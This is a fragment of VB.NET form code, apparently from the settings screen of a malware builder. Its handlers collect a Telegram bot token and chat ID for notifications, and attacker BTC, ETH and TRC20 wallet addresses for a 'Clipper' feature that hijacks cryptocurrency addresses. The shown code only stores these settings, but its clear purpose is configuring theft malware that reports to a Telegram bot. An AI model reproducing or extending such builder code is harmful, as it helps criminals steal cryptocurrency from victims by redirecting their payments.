Private Sub Guna2ToggleSwitch5_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch5.MouseClick
|
||||
|
||||
If Guna2ToggleSwitch5.Checked = True Then
|
||||
Using form As TabNotify = New TBotNotify
|
||||
form.StartPosition = FormStartPosition.Manual
|
||||
form.StartPosition = FormStartPosition.CenterParent
|
||||
If form.ShowDialog() = DialogResult.OK Then
|
||||
BotToken = form.Guna2TextBox1.Text
|
||||
Botid = form.Guna2TextBox2.Text
|
||||
Else
|
||||
Guna2ToggleSwitch5.Checked = False
|
||||
BotToken = Nothing
|
||||
Botid = Nothing
|
||||
End If
|
||||
End Using
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2ToggleSwitch6_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch6.MouseClick
|
||||
If Guna2ToggleSwitch6.Checked = True Then
|
||||
Using form As Clipper = New Clipper
|
||||
form.StartPosition = FormStartPosition.Manual
|
||||
form.StartPosition = FormStartPosition.CenterParent
|
||||
If form.ShowDialog() = DialogResult.OK Then
|
||||
BTC = form.Guna2TextBox1.Text
|
||||
ETH = form.Guna2TextBox2.Text
|
||||
TRC20 = form.Guna2TextBox3.Text
|
||||
Else
|
||||
Guna2ToggleSwitch6.Checked = False
|
||||
BTC = Nothing
|
||||
ETH = Nothing
|
||||
TRC20 = Nothing
|
||||
End If
|
||||
End Using
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_IconRightClick(sender As Object, e As EventArgs) Handles Guna2TextBox2.IconRightClick
|
||||
Try
|
||||
If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||||
If Not ListBox1.Items.Contains(Guna2TextBox2.Text) Then
|
||||
ListBox1.Items.Add(Guna2TextBox2.Text)
|
||||
Guna2TextBox2.Clear()
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_IconLeftClick(sender As Object, e As EventArgs) Handles Guna2TextBox2.IconLeftClick
|
||||
Try
|
||||
ListBox1.Items.Remove(ListBox1.SelectedItem)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Reference in New Issue
Block a user